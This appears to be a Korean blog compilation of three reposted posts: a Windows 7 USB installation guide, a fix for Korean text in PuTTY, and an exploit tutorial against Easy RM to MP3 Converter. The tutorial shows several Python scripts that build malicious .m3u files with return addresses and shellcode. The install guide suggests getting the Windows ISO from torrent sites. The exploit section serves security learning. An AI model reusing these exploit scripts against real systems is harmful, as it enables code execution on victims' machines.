반응형

출처: http://tanos.tistory.com/92


요즘 윈도우10 사용자가 많이 늘고 있는 추세이고 윈도우10 업그레이드 하려고 해도 일단은 윈도우7 설치 되어 있어야 하며 꼭 윈도우10 업그레이드 하는게 아니라도 일단은 윈도우7 설치 되어 있어야 윈도우7 이라도 사용을 할수 있습니다.

이번 시간에는 윈도우7 usb 설치 방법 대해서 알아볼것인데 일단 복잡할것 같고 어려울거 같아 아직 해보지 않은 분들이나 시도 하지 못하는 분들에게 한마디 하자면 계속 시도하고 또 시도하면 성공에 이룰수 있을것입니다.

그러니 안된다고 자책말고 계속 시도 하십시오

윈도우7 usb 설치 같은 경우는 정말 유용하게 사용할수 있는 기술입니다.

윈도우7 usb 설치 하기 이전에 몇가지 준비 사항이 있습니다.
usb 부팅디스크 만들기 해야 하니 8기가 정도의 usb 준비 해야 하고 윈도우7 iso 파일도 구해야 하는데 윈도우7 iso 파일은 토렌트 사이트 통해 어렵지 않게 구할수 있습니다.

윈도우7 iso 파일까지 준비되었다면 윈도우7 iso 파일을 usb에 넣어주어야 합니다.
이때 사용하는 프로그램이 Windows 7 USB/DVD Download Tool 프로그램입니다.

Windows 7 USB/DVD Download Tool 다운로드
http://windows-7-usb-dvd-download-tool.en.softonic.com/download

  

 Windows 7 USB/DVD Download Tool 직접 다운



win7 usb dvd tool 설치가 완료되었다면 이제 윈도우7 iso 파일을 usb에 넣는 작업을 시작합니다.


win7 usb dvd tool 프로그램을 실행 시키고 브라우저 선택후 다운 받은 윈도우7 iso 파일을 선택합니다.


그리고 usb device 선택


begin copying 선택

이제 윈도우7 iso 파일을 usb 복사 작업을 진행하게 되고 시간은 사양에 따라 다르지만 5분정도 소요된다 보면 됩니다.


win7 usb dvd tool 윈도우7 복사 작업이 끝났습니다.

이제 usb 부팅순서 변경 해야 합니다.


부팅순서 변경 같은 경우는 바이오스에서 담당을 하고 있으며 바이오스 접속 방법은 컴퓨터가 켜질때 델키를 누르면 바이오스 접속이 가능합니다.


바이오스 접속 했다면 이제 usb 부팅방법 변경 시작합니다.

1번 부팅순서 usb

2번 부팅순서 하드디스크 

이와 같은 부팅순서 변경을 합니다.


필자는 얼마전에 아수스 b85m-g 메인보드 구입을 해서 PC조립을 했기 때문에 아수스 바이오스 접속한것을 볼수 있습니다.

바이오스 모습은 메인보드 회사마다 인터페이스가 다르지만 그 내용은 다 비슷하니 어렵게 생각하지 않아도 됩니다.


자 하단에 보면 부팅메뉴 있습니다.

부팅메뉴 선택합니다.


아수스 메인보드 바이오스 같은 경우는 지금까지 필자가 보았던 바이오스 설정과는 다소 차이가 잇는 모습인데 위와 같이 부팅순서 1번 2번을 정하는것이 아니고 부팅메뉴 중에 usb 선택하면 바로 부팅이 되면서 usb 인식을 하게 됩니다.

좀 색다른 구조인데 어차피 usb 인식 하는것은 매 한가지 입니다.


아수스 바이오스 usb 인식 하고 이제 윈도우7 iso 파일을 인식하고 윈도우7 usb 설치 들어왔습니다.

윈도우7 32비트 64비트 중에 자신의 램이 4기가 이상이면 64비트 설치하면 됩니다.

그리고 다음 선택


현재 컴퓨터에 꽂혀 있는 하드디스크 인식을 하는데 여기서 바로 윈도우7 usb 설치 진행을 해도 되지만 왠만하면 파티션 나누기 해서 사용하는것을 추천합니다.

그이유는 한 드라이드에 윈도우7 그리고 각종 파일 문서 동영상 섞여 있으면 컴퓨터는 당연히 버벅이게 됩니다.


그러니 파티션 분할 하여 윈도우7 설치 드라이브 같은 경우는 따로 관리를 하는것이 윈도우7 빠르게 사용하는 방법입니다.


포맷하는법 간단한데 해당 드라이브 선택하고 포맷 선택하면 포멧 됩니다.


확인 선택


이제 파티션 나누기 시작해야 하는데 먼저 삭제를 선택합니다.


확인 선택


잘 보면 디스크 할당되지 않은 공간 이렇게 표시가 됩니다.

이렇게 되야 파티션 나누기 가능하며 하단에 새로 만들기 버튼이 활성화 된것을 알수 있습니다.

새로 만들기 선택


C드라이브 용량 정해야 하는데 c드라이브 용량은 보통 50기가 정도 사용하면 됩니다.


50기가 입력하고 적용 선택


위와 같이 파티션 나누기 된것을 할수 있고 2번째 디스크는 아직 할당되지 않은 공간 이렇게 표시되어 있는데 이부분은 나중에 윈도우7 설치 완료 되면 컴퓨터 관리 그리고 디스크 관리 가면 새볼륨 선택하여 D드라이브 사용하면 됩니다.

50용량 적용한 1번 디스크 선택하고 다음 선택


이제 윈도우7 usb 설치 나머지 부분은 컴퓨터가 알아서 부팅해가며 진행 할것이니 기다리만 하면 됩니다.


윈도우7 usb 설치 완료되고 윈도우7 바탕화면 만나게 되었습니다.

처음 성공을 했을때 감격은 이루 말할수 없습니다.


당연히 윈도우7 usb 설치 쉬운일이 아니지만 익혀 놓으면 분명 유용하게 사용할것이라 필자는 믿어 의심치 않으니 계속해서 시도하고 또 시도 하면 성공을 이룰수 있을것입니다.


그리고 아까 D드라이브 같은 경우는 아직 할당되지 않은 공간 이렇게 표시가 되어 있으며 디스크 관리 가서 새볼륨 선택하고 디스크 활성화 시키기 바랍니다.

여기까지 윈도우7 usb 설치 방법 대해서 알아보았습니다.

좋은 하루 되시기 바랍니다.



반응형
반응형

출처:http://fillin.tistory.com/174


Putty 사용중 한글 깨짐이 발생할 때 해결 방법을 공유하고자 한다. 


Putty 다운로드 링크 

http://putty.ko.softonic.com/



Putty에 접속하고 보니 한글이 모두 네모로 나타났다. 이 밖에도 알아볼 수 없는 형태로 한글이 깨져서 나타는 경우가 있다. 

아래 해결 방법을 적용 해보면 된다. 



방법 1. Putty 설정 화면에서 Character set 변경



Putty를 열고 접속하려는 세션을 선택한 후에 Load 한다. 





좌측 카테고리에서 Window - Translation을 선택.

우측 Character set 선택 콤보박스에서 하단에 CP949 인코딩이 있는지 확인해본다. (CP949 인코딩은 EUC-KR의 확장 버전으로 하위 호환성을 갖는다.)

있다면 선택하면 끝. 없으면 다음 방법으로 넘어가 본다. 




방법 2. 레지스트리편집기에서 FontCharSet 설정



레지스트편집기를 실행한다. 실행창(윈도우키 + R) 에서 regedit 입력.

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions 로 이동

한글 깨짐이 발생하는 해당 세션을 선택하고 우측에 FontCharSet을 찾아 더블클릭 한다. 





DWORD(32비트) 값 편집 창이 열리면 값 데이터에 16진수 인 경우 81을, 10진수 인 경우 129를 입력한다. 





확인을 눌러 저장하면 위와 같이 10진수 값 129로 변경된다. 

Putty에 접속해서 한글이 보이면 끝. 보이지 않으면 다음 방법을 적용해본다.




방법 3. 레지스트리편집기에서 LineCodePage 설정



레지스트리 편집기에서 조금 전 위치로 이동한다. 

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions

이전과 마찬가지로 좌측에서 한글 깨짐이 발생하는 세선을 선택하고 우측에서 LineCodePage를 찾는다. 





문자열 편집 창이 열리면 값 데이터에 CP949값을 입력하고 확인을 누른다. 





LineCodePage값에 CP949값이 적용되었다. 





서버에 접속해서 한글이 보인다면 끝. 

그래도 한글이 깨져 보인다면 서버에 맞는 캐릭터 셋을 찾아 설정해주면 된다.  

반응형
반응형

출처:

 

개요


첫 번째 문서에서 취약점을 찾고, 이를 이용해 공격 코드를 만들어서 공격을 하여 공격자가 원하는 행동을 하였다. 공격자가 원하는 행동을 하는 코드로 이동하기 위해서 스택에 삽입하고 'JMP ESP'를 사용하여 코드로 이동하여 실행하였다. 하지만 이 방법이 항상 적용되는 것이 아니다. 이번 문서에서는 쉘 코드를 실행시키거나 점프할 수 있는 여러 방법들에 대해 다루고, 버퍼의 크기가 작을 때 적용할 수 있는 방법 또한 알아볼 것이다.



Exploit 대상


  • Easy RM to MP3 Converter



실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Easy RM to MP3 Converter를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Python 2.7.10: m3u 파일을 생성하는 스크립트 작성

WinDbg: 해당 프로그램(Easy RM to MP3 Converter)를 디버깅

findjmp.exe: 특정 DLL에서 JMP 명령어(JMP 뿐만 아니라 CALL, PUSH / RETN, …)를 검색



'쉘 코드를 실행시킬 수 있는 여러 방법' 이론 및 실습


1. JMP or CALL


최종 목표는 EIP에 쉘 코드 주소를 넣음으로써 공격자가 원하는 행동을 하는 것이다. 그래서 공격자들은 보통 쉘 코드의 주소를 가진 레지스터(예: ESP)를 이용하여 그 주소를 EIP에 넣어 공격을 하게 된다. 그래서 애플리케이션이 실행될 때 로딩되는 DLL들 중에 로딩될 때마다 주소가 변경되지 않는 DLL 즉, DLL Relocation 하지 않는 DLL을 선택하여 쉘 코드의 주소를 가진 레지스터로 JMP 하거나 CALL 하는 기계어(JMP ESP, CALL EAX, ...)를 찾아야 한다. 또한 특정 메모리 주소(쉘 코드 주소)로 EIP를 덮어쓰는 대신 특정 레지스터로 점프 하는 주소(예: JMP ESP 명령어 주소)를 EIP에 주입할 필요가 있다.



1) CALL [reg] 실습


실습을 하기 앞서서 선행되어야 하는 과정은 레지스터가 쉘 코드 주소를 가리켜야 되고, 그 다음으로 JMP 또는 CALL을 실행하면 됩니다(이번 실습에서는 CALL). 이번 실습은 첫 번째 문서에서 실습했던 Easy RM to MP3 Converter을 대상으로 실습한다.



(1) 우선 쉘 코드 주소를 가리키는 레지스터를 찾아야 하는데 스택에 쉘 코드를 삽입했기 때문에 쉘 코드를 가리키는 레지스터는 ESP를 사용하면 된다.



(2) 다음으로 ‘CALL ESP’ 명령어를 찾아야 한다. CALL [reg] 주소를 많이 포함하고 있는 kernel32.dll에서 찾기 위해 전에 소개한 findjmp.exe를 사용하여 CALL ESP 명령어 주소를 찾을 것이다.




(3) findjmp.exe를 사용하여 ‘CALL ESP’ 명령어를 찾으면 0x7C8369F0 를 찾을 수 있다. 이 주소를 기존의 poc 코드에서 eip 변수만 변경해서 실행한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from struct import pack
 
filename = 'crash.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x7C8369F0) # call esp in kernel32.dll
dummy = 'XXXX'
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(dummy)
file.write(shellcode)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



(4) 실행한 결과로 나온 m3u 파일을 해당 프로그램에 로딩시키면 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.




2. pop / return


스택의 Top에 쉘 코드 주소를 가리키고 있지는 않지만 스택 안에 쉘 코드 주소가 존재할 때 즉, ESP+offset이 쉘 코드 주소를 가리키고 있을 경우에 사용 가능하다. offset에 따라 POP / RET 또는 POP / POP / RET와 같이 POP의 개수가 달라지고, RET 명령어를 실행함으로써 EIP에 쉘 코드 주소가 삽입되면서 원하는 행동을 할 수 있다. 혹은 쉘 코드 주소가 스택에 존재하지 않고 쉘 코드가 스택에 존재한다면 pop / return 방법을 이용하여 ‘JMP ESP’와 같은 명령어 주소로 이동하고 실행하면 쉘 코드로 이동할 것이다.



1) POP / POP / RET & JMP ESP 실습


ESP+8에 쉘 코드가 있다고 인위적으로 상황을 구성했다. 즉, EIP에 ESP+8을 주입시켜서 쉘 코드를 실행하는 것이 목적이다. 목적을 이루기 위해서 ‘POP / RET’과 ‘JMP ESP’을 이용할 것이다.



(1) [ESP+8]를 EIP에 주입하기 위해서 2개의 POP 명령어와 RET 명령어가 필요하다. 이를 위해 알아야 할 것은 POP 명령어에 대한 기계어이다. 명령어에 대한 기계어를 알아보기 위해 Easy RM to MP3 Converter와 WinDbg를 실행하고 해당 프로그램을 Attach하여 다음과 같이 알아본 결과 POP 명령어와 함께 사용되는 레지스터와 각 명령어에 대한 기계어는 아래 표와 같다.



어셈블리어

기계어

POP EAX

58

POP EBX

5B

POP ECX

59

POP EDX

5A

POP ESI

5E

POP EDI

5F

POP EBP

5D

POP ESP

5C

 



(2) 사용 가능한 DLL 중에 POP / POP / RET을 찾아야 한다. 여기서 애플리케이션 DLL과 OS DLL 중 어느 DLL에서 찾아야 하는지 또한 중요하다. 왜냐하면 윈도우 플랫폼과 버전에 범용적으로 적용될 수 있는 공격 코드를 작성하기 위해서는 애플리케이션 자체의 DLL을 사용하는 것이 더 좋지만 매번 실행될 때마다 똑같은 베이스 주소를 가진다는 것을 확신할 수 없다. 즉, DLL Relocation이 될 수도 있다. 그렇기 때문에 OS DLL(예: kernel32.dll 또는 user32.dll) 중 하나를 사용하는 것이 더 좋을 수도 있다.



(3) 이번 실습에서는 애플리케이션 DLL 중 MSRMCcodec00.dll에서 POP EAX / POP EBP / RET(58 / 5D / C3)을 찾을 것이고, NULL 바이트가 포함되지 않은 주소를 사용해야 한다.




(4) 위에서 찾은 주소들을 이용하여 아래와 같이 스크립트를 작성하고 실행한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from struct import pack
 
filename = 'crash.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x01966a10) # pop / pop / ret in MSRMCcodec00.dll
jmpesp = pack('<L', 0x7C86467B) # jmp esp in kernel32.dll
dummy = 'XXXX'
testdummy = 'YYYYYYYY'
nops = '\x90' * 4 # NOP x 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(dummy)
file.write(testdummy)
file.write(jmpesp)
file.write(nops)
file.write(shellcode)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



(5) 위에서 작성된 코드로 인해 생성된 파일을 로딩했을 경우 EIP와 스택이 어떻게 진행되는지 확인하면 아래 그림과 같다.



① m3u 파일이 로딩되면서 dummy로 26,101 바이트와 pop/pop/ret 주소, pop 될 4바이트, 테스트로 삽입한 8바이트(nop), jmp esp 주소 그리고 쉘 코드를 삽입된다. 그 다음 로딩하는 함수가 끝나고 return 될 때 pop/pop/ret 주소로 return 된다.

② return 되면서 4바이트가 pop 된다. pop/pop/ret 명령어가 실행되면서 nop 8바이트가 pop 되고 jmp esp 주소로 return 된다.

③ jmp esp가 실행되면서 쉘 코드로 이동하여 실행된다.



(6) 실행한 결과로 나온 파일을 해당 프로그램에 로딩시키면 아래와 같이 계산기가 띄워지는 것을 확인할 수 있을 것이다.




3. push / return


CALL은 다음 명령어 주소를 스택에 PUSH하고, JMP하여 명령어들을 처리한 후에 RET 명령어를 통해 CALL 명령어를 호출했던 주소의 다음 주소로 이동한다. 이와 다르게 PUSH / RET은 PUSH를 통해 특정 주소 또는 특정 주소를 담고 있는 레지스터를 스택에 PUSH하고, RET 명령어를 통해 특정 주소로 이동한다. 이 방법은 레지스터가 쉘 코드의 주소를 가리키고 있지만 특정 이유로 ‘JMP [reg]’ 혹은 ‘CALL [reg]’ 명령어를 사용할 수 없을 때 사용하면 된다.



1) PUSH / RET 실습


ESP가 쉘 코드의 주소를 가리키고 있기 때문에 이번 실습에서는 PUSH ESP / RET명령어를 사용한다.



(1) PUSH ESP / RET의 기계어를 확인한다.




(2) 위에서 확인한 기계어(54 C3)를 DLL(MSRMCcodec00.dll)에서 찾아본다.




(3) 위에서 찾은 주소(0x019557f6)를 코드에 삽입한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from struct import pack
 
filename = 'crash.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x019557f6) # push esp / ret in MSRMCcodec00.dll
dummy = 'XXXX'
nops = '\x90' * 4 # NOP x 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(dummy)
file.write(nops)
file.write(shellcode)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



(4) 위에서 작성한 코드를 실행하여 파일을 생성하고, 생성된 파일을 해당 프로그램에 로딩시켜보면 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.




4. JMP [reg+offset]


만약 쉘 코드를 포함하는 버퍼를 지시하는 레지스터가 있지만 그것이 쉘 코드의 시작 위치를 가리키지는 않고 몇 바이트 떨어져 있을 때 사용할 수 있는 방법이다. 하지만 일치하는 ‘JMP [reg+offset]’ 명령어를 찾을 수 없다면 offset이 더 증가하고, 쉘 코드 앞에 NOP(90h)를 추가해주면 된다.



1) JMP [reg+offset] 실습


위 2.1에서는 2개의 POP을 이용하여 필요하지 않은 부분을 제거하고, RET함으로써 8 byte를 건너 띌 수 있었다. 이 방법을 사용하면 더욱 쉽게 해결할 수 있다.


(1) ‘JMP [ESP+8h]’를 수행하는 기계어 찾는다.




(2) 그 다음 과정은 2.2.1 실습에서 eip 변수에 pop/pop/ret 주소 대신에 JMP [ESP+8h] 주소를 찾아 넣어주는 것 이외에는 동일하다(이번 실습은 여기까지 진행한다).



5. Blind return


JMP 또는 CALL 명령어처럼 EIP를 특정 레지스터로 곧바로 향하도록 설정할 수 없지만 ESP에 있는 데이터를 제어할 수 있을 경우에 유용하게 쓰일 수 있다. 이 기술을 사용하기 위해서 쉘 코드가 포함된 메모리 주소를 알아야 한다.

우선 프로그램에서 사용하는 DLL 중 하나에서 ‘RET’ 명령어를 찾는다. 그 다음 EIP를 덮어쓸 주소를 ‘RET’ 명령어 주소로 설정하고, return 된 후에 스택의 Top에 쉘 코드의 주소가 오도록 설정하면 된다.

이 예제는 덮어쓸 EIP가 널 바이트를 포함하기 때문에 작동하지 않을 것이다. 즉, ESP 안으로 원하는 쉘 코드를 주입시킬 수 없고, 성공 확률도 크지 않는다. 그럼에도 불구하고 이 기술을 쓰는 이유는 원하는 기계어가 RET 뿐이기 때문에 공격을 위한 사전 준비 작업이 복잡하지 않다는 장점이 있다.

물론 Easy RM to MP3 Converter 프로그램에서는 먹히지 않다.



6. SEH(Structured Exception Handler)


모든 애플리케이션은 OS에 의해 제공되는 예외처리기를 기본적으로 가지고 있다. 애플리케이션을 실행하다가 예외가 발생한다면 애플리케이션에서 예외처리를 해주고, 예외처리를 해주지 못했을 경우에는 OS가 예외처리를 해준다. 이를 악용하여 공격자는 SEH에 자신의 예외처리 코드를 앞쪽에 추가하고, 의도적으로 예외를 발생시켜 공격자가 작성한 예외처리 코드 즉, 악의적인 행동을 하는 쉘 코드가 실행이 되도록 한다.



위 그림은 SEH 구조를 나타낸 그림으로 FS:[0]는 SEH 시작 주소를 가지고 있다. SEH는 Linked List 형태로 되어 있고, 각 데이터는 구조체이다. 구조체의 첫 번째 요소는 다음 예외처리 핸들러 주소를 의미하고, 두 번째 요소는 예외처리 핸들러 함수로 정의되어 있다. 핸들러가 예외처리를 하지 못하면 첫 번째 요소가 가리키는 주소로 이동하여 계속 반복하면서 예외처리 하다가 주소가 0xFFFFFFFF를 만나면 OS가 예외처리 한다.

SEH를 사용하면 다양한 윈도우 플랫폼에 응용 가능한 공격 코드를 생성할 수 있지만, 주어진 OS에서 정상 작동하지 않는 공격 코드를 작성했다면 공격 코드와 애플리케이션이 충돌하여 의도치 않은 예외를 발생될 수 있다. 그러므로 SEH 기반 공격 코드는 일반적인 공격 코드를 혼합해 좀 더 유연하게 공격 코드를 작성해야 한다.



7. 이용할 수 있는 버퍼 용량이 제한되어 있을 경우


버퍼 용량이 제한되어 있을 경우 EIP를 덮어쓰기 전에 어느 정도의 용량을 확보할 수 있다면 제한된 버퍼에서 확보된 버퍼로 이동하는 코드를 삽입한다. 즉, 여유 있는 공간에 쉘 코드를 삽입하고, 제한된 공간에서는 여유 있는 공간으로 이동만 하는 코드를 삽입한다.



1) 버퍼 크기가 작은 경우의 실습


Easy RM to MP3 Converter 프로그램에서 의미 없는 문자 26,101 바이트와 EIP, 그리고 4 바이트를 더한 위치가 ESP의 시작점이고, ESP 시작점으로부터 50바이트만 사용 가능하다고 가정한다.


(1) ESP 시작점부터 50바이트만 사용 가능하다고 가정했지만 쉘 코드를 삽입하기에는 부족한 크기이다. 그렇기 때문에 우선 여유 있는 공간을 찾고 여유 있는 공간의 주소를 알아야 한다.



(2) 기존에 만들었던 공격 코드를 수정하여 간단히 테스트를 할 것이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from struct import pack
 
filename = 'crash1.m3u'
junk = 'A' * 26101
eip = 'BBBB'
dummy = 'XXXX'
preshellcode = 'C' * 50 # The size of the available shellcode
nops = '\x90' * 256
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(dummy)
file.write(preshellcode)
file.write(nops)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



(3) 위 코드를 실행하여 파일을 생성하고, 생성된 파일을 해당 프로그램에 로딩시키면 아래와 같이 EIP 레지스터(42424242)와 스택을 확인할 수 있다.




(4) 스택에 ‘C’ 문자열과 NOP 뒤에 어떤 데이터가 있는지 확인하기 위해 추가적으로 덤프를 수행해본다.




(5) ‘C’ 문자열 다음에 온 데이터가 ‘A’ 문자들로 채워져 있는 것을 확인할 수 있다. 이것은 26,101개의 ‘A’ 문자열이 위치한 곳을 의미한다. 위 그림에서 추가적으로 덤프를 수행해보면 아래와 같이 많은 양의 ‘A’가 채워진 공간을 확인할 수 있다. 이로서 쉘 코드를 작성할 수 있는 공간을 확보하였다.




(6) 작은 용량의 버퍼와 큰 용량의 버퍼를 이용하여 큰 용량의 버퍼로 이동하고, 큰 용량의 버퍼에서는 공격 코드를 실행할 수 있도록 해야한다. 그러기 위해서는 다음으로 필요한 사항이 2가지가 있다.

A. 첫 번째로는 큰 용량의 버퍼가 26,101개의 ‘A’ 문자열에서 몇 번째 offset부터 사용할 수 있는지 확인해야 한다.

B. 두 번째 필요한 사항은 작은 용량의 버퍼에서 큰 용량의 버퍼로 이동시킬 코드가 필요하다. 단 이 코드는 50 바이트를 넘지 말아야 한다.



(7) 우선 정확한 버퍼 위치를 알기 위해서 Kali Linux를 활용하여 1000바이트의 패턴을 생성한다.




(8) 위에서 생성된 패턴을 코드에 삽입하고 실행한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from struct import pack
 
filename = 'crash2.m3u'
junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7...Bh0Bh1Bh2B' + 'A' * 25101 # created pattern(1000) + 'A's(25101) = dummy(26101)
eip = 'BBBB'
dummy = 'XXXX'
preshellcode = 'C' * 50
nops = '\x90' * 256
 
file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(dummy)
file.write(preshellcode)
file.write(nops)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



(9) 위 코드로 실행되어 생성된 파일을 해당 프로그램에 로딩하고, ‘C’ 문자열 다음에 오는 4바이트(j4Aj)를 확인하여 몇 번째 바이트인지 Kali Linux의 pattern_offset.rb 툴을 사용하면 offset을 확인할 수 있다.





(10) 위에서 알게 된 offset을 이용하여 코드를 수정하고, 실행하여 파일을 생성한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from struct import pack
 
filename = 'crash3.m3u'
buffersize = 26101
junk = 'A' * 280
nops = '\x90' * 40
shellcode = '\xcc'
restorebuffer = 'A' * (buffersize - (len(junk) + len(nops) + len(shellcode)))
buffer = junk + nops + shellcode + restorebuffer
 
eip = 'BBBB'
dummy = 'XXXX'
preshellcode = 'C' * 50
dummy2 = 'D' * 256
 
file = open(filename, 'w')
file.write(buffer)
file.write(eip)
file.write(dummy)
file.write(preshellcode)
file.write(dummy2)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



(11) 생성된 파일을 로딩하고 메모리를 확인한다.




(12) 다음으로 큰 용량의 버퍼로 이동할 코드를 작성한다. 점프 코드 목표는 ESP+132h 위치로 점프하는 것이고, 그러기 위해서 어셈블리어로 작성하고 기계어로 변경해줘야 한다. ESP+132h로 점프하기 위해 ESP에 132h을 더해주어야 하지만 여기서 큰 값을 한 번에 기계어로 처리하면 널 바이트를 포함된 기계어를 얻음으로써 널 바이트를 만나 프로그램이 종료될 수도 있다. 그리고 쉘 코드 앞에 NOP 공간을 넣는 것이 가능하기 때문에 굳이 정확하게 ESP+132h 위치로 점프할 필요가 없다. 다만 132h 이상의 값만 더해주면 정상적으로 작동할 것이다.



(13) ESP에 0x4D(77)을 4번 더하고 ESP로 이동하면 된다. 이를 위한 어셈블리어는 ‘ADD ESP, 0x4D / ADD ESP, 0x4D / ADD ESP, 0x4D / ADD ESP, 0x4D / JMP ESP’이다. 이 어셈블리어를 WinDbg를 통해 기계어를 찾아본다.




(14) 작은 용량의 버퍼에서 큰 용량의 버퍼로 이동하는 기계어 코드를 찾았으므로 공격 코드를 수정한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from struct import pack
 
filename = 'crash4.m3u'
buffersize = 26101
junk = 'A' * 280
nops = '\x90' * 40
shellcode = '\xcc'
restorebuffer = 'A' * (buffersize - (len(junk) + len(nops) + len(shellcode)))
buffer = junk + nops + shellcode + restorebuffer
 
eip = 'BBBB'
dummy = 'XXXX'
# ADD ESP, 4D / ADD ESP, 4D / ADD ESP, 4D / ADD ESP, 4D / JMP ESP
preshellcode = '\x83\xc4\x4d' + '\x83\xc4\x4d' + '\x83\xc4\x4d' + '\x83\xc4\x4d' + '\xff\xe4'
dummy2 = 'D' * 256
 
file = open(filename, 'w')
file.write(buffer)
file.write(eip)
file.write(dummy)
file.write(preshellcode)
file.write(dummy2)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



(15) 위 코드로 생성된 파일을 해당 프로그램에 로딩시키면 아래와 같이 ESP에 위에서 구한 기계어와 밑에 큰 용량의 버퍼를 확인할 수 있다.




(16) 이제 EIP를 ‘JMP ESP’ 주소로 수정하고, 쉘 코드를 넣어서 공격 코드를 수정한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from struct import pack
 
filename = 'crash5.m3u'
buffersize = 26101
junk = 'A' * 280
nops = '\x90' * 40
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
